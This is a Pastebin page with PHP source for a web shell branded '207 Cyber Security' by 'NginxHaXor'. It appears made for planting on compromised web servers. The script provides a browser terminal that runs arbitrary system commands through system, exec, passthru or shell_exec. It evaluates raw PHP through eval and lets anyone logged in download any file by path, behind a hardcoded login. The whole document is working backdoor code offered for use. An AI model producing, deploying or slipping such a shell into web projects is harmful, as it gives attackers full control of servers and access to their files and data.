KilledSecurity

Terminal Shell

Nov 15th, 2014
811
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.54 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4. * 207 Cyber Security
  5. * Coded by NginxHaXor
  6. */
  7.  
  8. error_reporting(0);
  9. session_start();
  10.  
  11. // Configurations
  12. $config_command_prefix = "$";
  13. $config_username = "admin";
  14. $config_password = "admin1337";
  15. $config_welcome = "<br />----------- Selamat Datang Pak Bos q(^w^q) -----------<br />";
  16. $config_file = basename(__FILE__);
  17.  
  18.  
  19.  
  20. // Memberi warna pada CMD
  21. $config_command_prefix = '<span class="prefix">' . $config_command_prefix . '</span>';
  22.  
  23. // Download file
  24. if($_SESSION['terminal']['loggedin'] && isset($_GET['file'])){
  25. $file = trim($_GET['file']);
  26. header('Content-Description: File Transfer');
  27. header('Content-Disposition: attachment; filename='.basename($file));
  28. header('Content-Length: ' . filesize($file));
  29. readfile($file);
  30. exit();
  31. }
  32.  
  33. // Handle eactions
  34. if(isset($_POST['action'])){
  35. switch($_POST['action']){
  36.  
  37. // Execute command
  38. case 'command':
  39. if(isset($_POST['command'])){
  40.  
  41. // Declaration
  42. $command = trim(str_replace($config_command_prefix, '', $_POST['command']));
  43. $data['command'] = $command;
  44. $data['color_command'] = color_command($command);
  45.  
  46.  
  47. if(strstr($command, 'exit')){
  48. session_destroy();
  49. $data['result'] = "You are know logged out \n";
  50. response($data, 220);
  51. }
  52.  
  53.  
  54. if(strstr($_POST['line'], 'username: ')){
  55. $user = trim(str_replace('username: ', '', $command));
  56. if($user == $config_username){
  57. $_SESSION['terminal']['username'] = $user;
  58. response($data, 300);
  59. }else{
  60. response($data, 310, "Incorrect username");
  61. }
  62. }
  63.  
  64. // Periksa password
  65. if(strstr($_POST['line'], 'password: ')){
  66. $pass = trim(str_replace('password: ', '', $command));
  67. if($pass == $config_password){
  68. $_SESSION['terminal']['password'] = $pass;
  69. $_SESSION['terminal']['loggedin'] = true;
  70. response($data, 320);
  71. }else{
  72. response($data, 330, "Go away bitch, wrong password");
  73. }
  74. }
  75.  
  76.  
  77. if(!isset($_SESSION['terminal']['loggedin']) && !$_SESSION['terminal']['loggedin']){
  78. response($data, 400, "Permission denied");
  79. }
  80.  
  81. // Change directory
  82. if(strstr($command, 'cd ')){
  83. $path = trim(str_replace('cd ', '', $command));
  84. $_SESSION['terminal']['path'] = compress_path($_SESSION['terminal']['path'] . '/' . $path);
  85. $data['result'] = "";
  86. $data['path'] = $_SESSION['terminal']['path'];
  87. response($data);
  88. }
  89.  
  90.  
  91. if(strstr($command, 'func ')){
  92. $function = trim(str_replace('func ', '', $command));
  93. $data['result'] = function_exists( $function ) ? "exist" : "doesn't exist";
  94. response($data);
  95. }
  96.  
  97.  
  98. if(strstr($command, 'exec ')){
  99. $code = trim(str_replace('exec ', '', $command));
  100.  
  101. // Record execution
  102. ob_start();
  103. eval($code);
  104. $content = ob_get_contents();
  105. ob_clean();
  106.  
  107. $data['result'] = $content;
  108. response($data);
  109. }
  110.  
  111.  
  112. if($command != ""){
  113. $data['result'] = execute($command, $_SESSION['terminal']['function']);
  114. response($data);
  115. }else{
  116. response($data, 400, 'Empty command');
  117. }
  118.  
  119. }
  120. break;
  121.  
  122. // cek terminal
  123. case 'init':
  124. if(!isset($_SESSION['terminal']['function']) || $_SESSION['terminal']['function'] == ''){
  125. $commander = getValidCommandFunction();
  126. $_SESSION['terminal']['function'] = $commander;
  127. }
  128. sleep(1);
  129.  
  130. $data['commander'] = $commander;
  131. $data['loggedin'] = isset($_SESSION['terminal']['loggedin']) && $_SESSION['terminal']['loggedin'] ? true : false;
  132. response($data);
  133. break;
  134. }
  135. exit();
  136. }
  137.  
  138. /**
  139. * Send back a response
  140. *
  141. * @param array $data
  142. * @param int $code
  143. * @param string $error
  144. * @return void
  145. */
  146. function response($data, $code=200, $error=""){
  147.  
  148. $response['code'] = $code;
  149. $response['error'] = $error;
  150. $response['data'] = $data;
  151.  
  152. echo json_encode($response);
  153. exit();
  154.  
  155. }
  156.  
  157. /**
  158. * Is this os windows
  159. *
  160. * @return bool
  161. */
  162. function isWindows(){
  163. ob_start();
  164. phpinfo();
  165. $phpinfo = ob_get_clean();
  166. return preg_match('~System </td><td class="v">([^<]*Windows)~',$phpinfo) ? true : false;
  167. }
  168.  
  169. function getValidCommandFunction(){
  170.  
  171. $test_command = isWindows() ? 'dir' : 'ls';
  172.  
  173.  
  174. ob_start();
  175. system($test_command);
  176. $result = ob_get_contents();
  177. ob_end_clean();
  178. if(trim($result) != '' && !strstr($result, 'disabled for security')) return 'system';
  179.  
  180.  
  181. $result = exec($test_command);
  182. if(trim($result) != '' && !strstr($result, 'disabled for security')) return 'exec';
  183.  
  184.  
  185. ob_start();
  186. passthru($test_command);
  187. $result = ob_get_contents();
  188. ob_end_clean();
  189. if(trim($result) != '' && !strstr($result, 'disabled for security')) return 'passthru';
  190.  
  191.  
  192. $result = shell_exec($test_command);
  193. if(trim($result) != '' && !strstr($result, 'disabled for security')) return 'shell_exec';
  194.  
  195. }
  196.  
  197. function execute($command, $function, $n_to_br=true){
  198.  
  199. $chdir = '';
  200. if($_SESSION['terminal']['path'] != ''){
  201. if(isWindows()){
  202. if(!@chdir( $_SESSION['terminal']['path'] )){
  203. $_SESSION['terminal']['path'] = '';
  204. $data['result'] = "You are redirected back to the original directory, because it was not allowed to open this directory.";
  205. response($data);
  206. }
  207. }else{
  208. $chdir = "cd " . $_SESSION['terminal']['path'] . "\n";
  209. }
  210. }
  211.  
  212.  
  213. switch($function){
  214.  
  215. case 'system':
  216. ob_start();
  217. system($chdir . $command);
  218. $result = ob_get_contents();
  219. ob_end_clean();
  220. break;
  221. case 'exec':
  222. $result = exec($chdir . $command);
  223. break;
  224. case 'passthru':
  225. ob_start();
  226. passthru($chdir . $command);
  227. $result = ob_get_contents();
  228. ob_end_clean();
  229. break;
  230. case 'shell_exec':
  231. $result = shell_exec($chdir . $command);
  232. break;
  233. default:
  234. $result = false;
  235. break;
  236. }
  237.  
  238. return $n_to_br ? nl2br( htmlspecialchars( $result )) : htmlspecialchars($result);
  239.  
  240. }
  241.  
  242. function compress_path($path){
  243.  
  244.  
  245. $clean = str_replace('\\', '/', $path);
  246.  
  247.  
  248. $clean = str_replace(array('////', '///', '//'), '/', $clean);
  249.  
  250. if(substr($clean, 0, 1) == "/") $clean = substr($clean, 1);
  251.  
  252. return $clean;
  253. }
  254.  
  255. function color_command($command){
  256. $parts = explode(' ', $command);
  257. $parts[0] = '<span class="keyword">' . $parts[0] . '</span>';
  258. return implode(' ', $parts);
  259. }
  260.  
  261. ?>
  262.  
  263. <html>
  264. <head>
  265. <title>Terminal php | NginxHaXor</title>
  266. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.1/jquery.min.js" type="text/javascript"></script>
  267. <style>
  268. body{
  269. text-align: center;
  270. font-size: 11px;
  271. font-family: verdana;
  272. background-color: #EFEFEF;
  273. }
  274. h1 {
  275. padding: 10px 15px;
  276. margin: 0px;
  277. font-size: 14px;
  278. background-color: #747474;
  279. background-image: -moz-linear-gradient(100% 100% 90deg, #777, #999) !important;
  280. background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#999), to(#777)) !important;
  281. color: #FFF;
  282. -webkit-border-radius: 4px;
  283. -moz-border-radius: 4px;
  284. border-radius: 4px;
  285. text-shadow:1px 1px 2px #333333;
  286. }
  287. table {
  288. width: 565px;
  289. }
  290. table tr td{
  291. font-family: verdana;
  292. font-size: 11px;
  293. padding: 10px 5px;
  294. border-bottom: solid 1px #CCC;
  295.  
  296. }
  297. #wrapper{
  298. width: 600px;
  299. margin: 20px auto;
  300. text-align: left;
  301. }
  302. #console{
  303. height: 200px;
  304. overflow: auto;
  305. background-color: #000;
  306. padding: 15px;
  307. font-family: monospace;
  308. font-size: 12px;
  309. color: #FFF;
  310. }
  311. .content{
  312. padding: 15px;
  313. }
  314. #commander{
  315. border: solid 1px #CCC;
  316. padding: 5px 10px;
  317. -webkit-border-radius: 2px;
  318. -moz-border-radius: 2px;
  319. border-radius: 2px;
  320. margin: 5px;
  321. width: 590px;
  322. height: 30px;
  323. }
  324. .box{
  325. -moz-box-shadow: 1px 1px 8px #666;
  326. -webkit-box-shadow: 1px 1px 8px #666;
  327. box-shadow: 1px 1px 8px #666;
  328. border: solid 1px #DDD;
  329. -webkit-border-radius: 4px;
  330. -moz-border-radius: 4px;
  331. border-radius: 4px;
  332. margin: 15px 0px;
  333. background-color: #F5F5F5;
  334. }
  335. #help{
  336. width: 300px;
  337. float: right;
  338. }
  339. .prefix{
  340. color: #0077E7;
  341. }
  342. .keyword{
  343. color: #9eff63;
  344. }
  345. .error{
  346. color: #FF0000;
  347. }
  348. .spacer{
  349. clear: both;
  350. display: block;
  351. }
  352. </style>
  353. <script type="text/javascript">
  354.  
  355. // Config
  356. var config_command_prefix = '<?php echo $config_command_prefix ?>';
  357. var config_welcome = '<?php echo $config_welcome ?>';
  358. var command_stack = Array();
  359. var command_stack_position = 0;
  360.  
  361. $(document).ready(function() {
  362. $.post("<?php echo $config_file; ?>", {action: 'init'}, function(response){
  363. var extra = response.data.loggedin ? ' Welcome to PHP terminal' : ' username: ?';
  364. $("#console").html($("#console").html() + "<br />" + config_command_prefix + extra);
  365. $("#commander").attr('disabled', false);
  366. // Set focus commander
  367. $("#commander").focus();
  368.  
  369. }, "json");
  370. });
  371.  
  372. function execute(field,event) {
  373. var theCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
  374. if(theCode == 38){
  375. if(command_stack_position > 0) command_stack_position--;
  376. $("#commander").val(command_stack[command_stack_position]);
  377. }else if(theCode == 40){
  378. if(command_stack_position < (command_stack.length-1)) command_stack_position++;
  379. $("#commander").val(command_stack[command_stack_position]);
  380. }else if (theCode == 13){
  381.  
  382. // input command
  383. var command = $("#commander").val();
  384. $("#commander").val('');
  385.  
  386. // tambah command ke stack dan update posisi
  387. command_stack.push( command );
  388. command_stack_position = (command_stack.length);
  389.  
  390.  
  391. var lines = $("#console").html().toLowerCase().split('<br>');
  392. var line = lines[lines.length-1];
  393.  
  394.  
  395. if(command.indexOf("download") > -1){
  396. var file = command.replace('download ', '');
  397. window.location = '<?php echo $config_file; ?>?file=' + file;
  398. return;
  399. }
  400.  
  401.  
  402. if(command.indexOf("cls") == 0 || command.indexOf("clear") == 0){
  403. $("#console").html("");
  404. return;
  405. }
  406.  
  407. $.post("<?php echo $config_file; ?>", {action: 'command', command: command, line: line}, function(response){
  408. if(response.code == 200){
  409. show = (response.data.result == null) ? "" : response.data.result + "<br />";
  410. result = config_command_prefix + " " + response.data.color_command + "<br />" + show;
  411. }else if(response.code == 220){
  412. window.location = '<?php echo $config_file; ?>';
  413. }else if(response.code == 310){
  414. result = response.error + "<br />" + config_command_prefix + " username: ?";
  415. }else if(response.code == 320){
  416. result = config_welcome + "<br />" + config_command_prefix + " ";
  417. }else if(response.code == 330){
  418. result = response.error + "<br />" + config_command_prefix + " password: ?";
  419. }else if(response.code == 300){
  420. result = config_command_prefix + " password: ?";
  421. }else{
  422. result = '<span class="error">' + response.error + "</span><br />";
  423. }
  424. $("#console").html($("#console").html() + '<br />' + result ).focus();
  425.  
  426. // Scroll bottom
  427. textareaelem = document.getElementById('console');
  428. textareaelem.scrollTop = textareaelem.scrollHeight;
  429.  
  430. // Set focus ke commander
  431. $("#commander").focus();
  432.  
  433. }, "json");
  434. return false;
  435. }else{
  436. return true;
  437. }
  438.  
  439. }
  440.  
  441. </script>
  442.  
  443. </head>
  444. <body>
  445.  
  446. <div id="wrapper">
  447. <div class="box">
  448. <h1>PHP Terminal Console - NginxHaXor | 207 Cyber Security</h1>
  449. <div id="console"><?php echo $config_command_prefix ?> Loading for window ...</div>
  450. <input text="test" id="commander" onkeyup="execute(this,event);" disabled="disabled" />
  451. </div>
  452.  
  453.  
  454. <div class="spacer"><!-- SPACER --></div>
  455. </div>
  456.  
  457. </body>
  458. </html>
Advertisement
Add Comment
Please, Sign In to add comment